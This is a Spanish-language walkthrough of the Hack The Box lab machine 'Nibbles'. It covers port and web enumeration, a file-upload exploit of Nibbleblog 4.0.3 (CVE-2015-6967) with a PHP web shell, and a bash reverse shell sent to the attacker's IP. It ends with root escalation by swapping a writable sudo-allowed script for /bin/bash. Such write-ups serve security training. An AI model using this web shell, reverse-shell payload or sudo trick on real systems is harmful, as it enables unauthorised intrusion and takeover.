Nibbles
Máquina Nibbles de Hackthebox
Skills
- Abusing Nibbleblog - Remote Code Execution via File Upload (CVE-2015-6967)
- Abusing Sudoers [Privilege Escalation]
Certificaciones
- eJPT
Descripción
Nibbles es una máquina easy linux donde estaremos vulnerando la máquina a través de un file upload, subiremos un archivo .php malicioso que nos permitirá ejecutar comandos. Nos convertiremos en usuario root abusando del sudoers mediante un archivo en nuestro directorio home
Reconocimiento
Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas linux suele ser 64, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad
1
2
3
4
5
6
7
8
# ping 10.129.96.84
PING 10.129.96.84 (10.129.96.84) 56(84) bytes of data.
64 bytes from 10.129.96.84: icmp_seq=1 ttl=63 time=77.7 ms
64 bytes from 10.129.96.84: icmp_seq=2 ttl=63 time=63.6 ms
^C
--- 10.129.96.84 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 63.591/70.666/77.741/7.075 ms
Nmap
Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -v 10.129.96.84 -oG openPorts
[sudo] password for justice-reaper:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-05 23:01 CEST
Initiating SYN Stealth Scan at 23:01
Scanning 10.129.96.84 [65535 ports]
Discovered open port 22/tcp on 10.129.96.84
Discovered open port 80/tcp on 10.129.96.84
Completed SYN Stealth Scan at 23:01, 13.69s elapsed (65535 total ports)
Nmap scan report for 10.129.96.84
Host is up (0.094s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.79 seconds
Raw packets sent: 67264 (2.960MB) | Rcvd: 67264 (2.691MB)
Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# nmap -sCV -p 22,80 10.129.96.84 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-05 23:06 CEST
Nmap scan report for 10.129.96.84
Host is up (0.085s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.34 seconds
Web Enumeration
Nos dirigimos a la página web y se visualiza lo siguiente:
Si vemos el código fuente de la página web
Al acceder a http://10.129.96.84/nibbleblog/ vemos lo siguiente
Al parecer la página usa como lenguaje de programación php
Fuzzeamos en busca de nuevos directorios, junto con las extensiones más comunes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# wfuzz -t 100 -c --hc 404,403 -z file,/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -z file,/usr/share/seclists/Discovery/Web-Content/web-extensions.txt http://10.129.96.84/nibbleblog/FUZZFUZ2Z
/home/justice-reaper/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning:urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.96.84/nibbleblog/FUZZFUZ2Z
Total requests: 9042386
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000023: 200 60 L 168 W 2985 Ch "index - .php"
000001171: 200 10 L 13 W 402 Ch "sitemap - .php"
000004574: 200 7 L 15 W 302 Ch "feed - .php"
000010027: 200 26 L 96 W 1401 Ch "admin - .php"
000028723: 200 0 L 11 W 78 Ch "install - .php"
000031962: 200 87 L 174 W 1621 Ch "update - .php"
Encontramos la ruta http://10.129.96.84/nibbleblog/admin.php, donde visualizamos lo siguiente
Las ruta http://10.129.96.84/nibbleblog/update.php también nos muestra información interesante
Investigando un poco nos damos cuenta de que Nibbleblog es un CMS, cuya versión es la 4.0.03 https://www.bilib.es/actualidad/articulos-tecnologicos/post/noticia/nibbleblog-un-nuevo-cms-para-crear-blogs-sin-usar
Con searchsploit hemos encontrado una vulnerabilidad para esta versión
1
2
3
4
5
6
7
8
# searchsploit Nibbleblog
----------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Nibbleblog 3 - Multiple SQL Injections | php/webapps/35865.txt
Nibbleblog 4.0.3 - Arbitrary File Upload (Metasploit) | php/remote/38489.rb
----------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Como queremos evitar usar metasploit he buscado un exploit en github https://github.com/dix0nym/CVE-2015-6967. Antes de usar este exploit debemos crearnos un archivo llamado shell.php en el mismo directorio que el proyecto de github
1
2
3
<?php
echo shell_exec($_REQUEST['cmd']);
?>
Una vez hecho esto procedemos a explotar esta vulnerabilidad
1
2
3
4
5
6
# python3 exploit.py --url http://10.129.96.84/nibbleblog/ --username admin --password nibbles --payload shell.php
/home/justice-reaper/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
[+] Login Successful.
[+] Upload likely successfull.
[+] Exploit launched, check for shell.
Analizando el código del exploit vemos que la ruta donde se sube nuestro archivo .php es http://10.129.96.84/nibbleblog/content/private/plugins/my_image/image.php?cmd=whoami. El output que nos devuelve este comando es el siguiente
Vamos a mandarnos una reverse shell a nuestro equipo, para ello debemos ponernos en escucha por el puerto 443 y usar este payload en la url. El payload ha sido generado en https://www.revshells.com/
1
# nc -nlvp 443
1
http://10.129.96.84/nibbleblog/content/private/plugins/my_image/image.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.15%2F443%200%3E%261%27
Intrusión
Una vez en la máquina víctima vamos a realizar un tratamiento a la TTY
1
2
3
4
5
6
# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.15] from (UNKNOWN) [10.129.96.84] 50734
bash: cannot set terminal process group (1351): Inappropriate ioctl for device
bash: no job control in this shell
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$
Obtenemos las dimensiones de nuestra pantalla
1
2
# stty size
45 183
Efectuamos el tratamiento a la TTY
1
2
3
4
5
6
7
8
9
10
11
12
13
# script /dev/null -c bash
[ENTER]
[CTRL + Z]
# stty raw -echo; fg
[ENTER]
# reset xterm
[ENTER]
# export TERM=xterm
[ENTER]
# export SHELL=bash
[ENTER]
# stty rows 45 columns 183
[ENTER]
Ya tenemos un consola completamente interactiva
1
2
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ whoami
nibbler
Privilege Escalation
En nuestro directorio /home nos encontramos un archivo .zip llamado personal.zip, el cual descomprimimos
1
2
3
4
5
nibbler@Nibbles:/home/nibbler$ unzip personal.zip
Archive: personal.zip
creating: personal/
creating: personal/stuff/
inflating: personal/stuff/monitor.sh
Al listar los binarios que podemos ejecutar como sudo, vemos que podemos usar el script que hay en nuestro directorio personal llamado monitor.sh
1
2
3
4
5
6
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo -l
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
Este es el script monitor.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
nibbler@Nibbles:/home/nibbler/personal/stuff$ cat monitor.sh
####################################################################################################
# Tecmint_monitor.sh #
# Written for Tecmint.com for the post www.tecmint.com/linux-server-health-monitoring-script/ #
# If any bug, report us in the link below #
# Free to use/edit/distribute the code below by #
# giving proper credit to Tecmint.com and Author #
# #
####################################################################################################
#! /bin/bash
# unset any variable which system may be using
# clear the screen
clear
unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage
while getopts iv name
do
case $name in
i)iopt=1;;
v)vopt=1;;
*)echo "Invalid arg";;
esac
done
if [[ ! -z $iopt ]]
then
{
wd=$(pwd)
basename "$(test -L "$0" && readlink "$0" || echo "$0")" > /tmp/scriptname
scriptname=$(echo -e -n $wd/ && cat /tmp/scriptname)
su -c "cp $scriptname /usr/bin/monitor" root && echo "Congratulations! Script Installed, now run monitor Command" || echo "Installation failed"
}
fi
if [[ ! -z $vopt ]]
then
{
echo -e "tecmint_monitor version 0.1\nDesigned by Tecmint.com\nReleased Under Apache 2.0 License"
}
fi
if [[ $# -eq 0 ]]
then
{
# Define Variable tecreset
tecreset=$(tput sgr0)
# Check if connected to Internet or not
ping -c 1 google.com &> /dev/null && echo -e '\E[32m'"Internet: $tecreset Connected" || echo -e '\E[32m'"Internet: $tecreset Disconnected"
# Check OS Type
os=$(uname -o)
echo -e '\E[32m'"Operating System Type :" $tecreset $os
# Check OS Release Version and Name
cat /etc/os-release | grep 'NAME\|VERSION' | grep -v 'VERSION_ID' | grep -v 'PRETTY_NAME' > /tmp/osrelease
echo -n -e '\E[32m'"OS Name :" $tecreset && cat /tmp/osrelease | grep -v "VERSION" | cut -f2 -d\"
echo -n -e '\E[32m'"OS Version :" $tecreset && cat /tmp/osrelease | grep -v "NAME" | cut -f2 -d\"
# Check Architecture
architecture=$(uname -m)
echo -e '\E[32m'"Architecture :" $tecreset $architecture
# Check Kernel Release
kernelrelease=$(uname -r)
echo -e '\E[32m'"Kernel Release :" $tecreset $kernelrelease
# Check hostname
echo -e '\E[32m'"Hostname :" $tecreset $HOSTNAME
# Check Internal IP
internalip=$(hostname -I)
echo -e '\E[32m'"Internal IP :" $tecreset $internalip
# Check External IP
externalip=$(curl -s ipecho.net/plain;echo)
echo -e '\E[32m'"External IP : $tecreset "$externalip
# Check DNS
nameservers=$(cat /etc/resolv.conf | sed '1 d' | awk '{print $2}')
echo -e '\E[32m'"Name Servers :" $tecreset $nameservers
# Check Logged In Users
who>/tmp/who
echo -e '\E[32m'"Logged In users :" $tecreset && cat /tmp/who
# Check RAM and SWAP Usages
free -h | grep -v + > /tmp/ramcache
echo -e '\E[32m'"Ram Usages :" $tecreset
cat /tmp/ramcache | grep -v "Swap"
echo -e '\E[32m'"Swap Usages :" $tecreset
cat /tmp/ramcache | grep -v "Mem"
# Check Disk Usages
df -h| grep 'Filesystem\|/dev/sda*' > /tmp/diskusage
echo -e '\E[32m'"Disk Usages :" $tecreset
cat /tmp/diskusage
# Check Load Average
loadaverage=$(top -n 1 -b | grep "load average:" | awk '{print $10 $11 $12}')
echo -e '\E[32m'"Load Average :" $tecreset $loadaverage
# Check System Uptime
tecuptime=$(uptime | awk '{print $3,$4}' | cut -f1 -d,)
echo -e '\E[32m'"System Uptime Days/(HH:MM) :" $tecreset $tecuptime
# Unset Variables
unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage
# Remove Temporary Files
rm /tmp/osrelease /tmp/who /tmp/ramcache /tmp/diskusage
}
fi
shift $(($OPTIND -1))
Al listar los privilegios de este archivo nos damos cuenta de que podemos modificarlo
1
2
3
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -l
total 4
-rwxrwxrwx 1 nibbler nibbler 4015 May 8 2015 monitor.sh
Vamos a copiarnos el binario de la bash en este directorio y a renombrarlo a monitor.sh
1
2
3
4
5
6
7
8
nibbler@Nibbles:/home/nibbler/personal/stuff$ which bash
/bin/bash
nibbler@Nibbles:/home/nibbler/personal/stuff$ cp /bin/bash .
nibbler@Nibbles:/home/nibbler/personal/stuff$ rm monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ mv bash monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -l
total 1016
-rwxr-xr-x 1 nibbler nibbler 1037528 Jul 6 09:42 monitor.sh
Al ejecutar la bash con sudo obtenemos una bash como usuario root
1
2
3
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo ./monitor.sh
root@Nibbles:/home/nibbler/personal/stuff# whoami
root







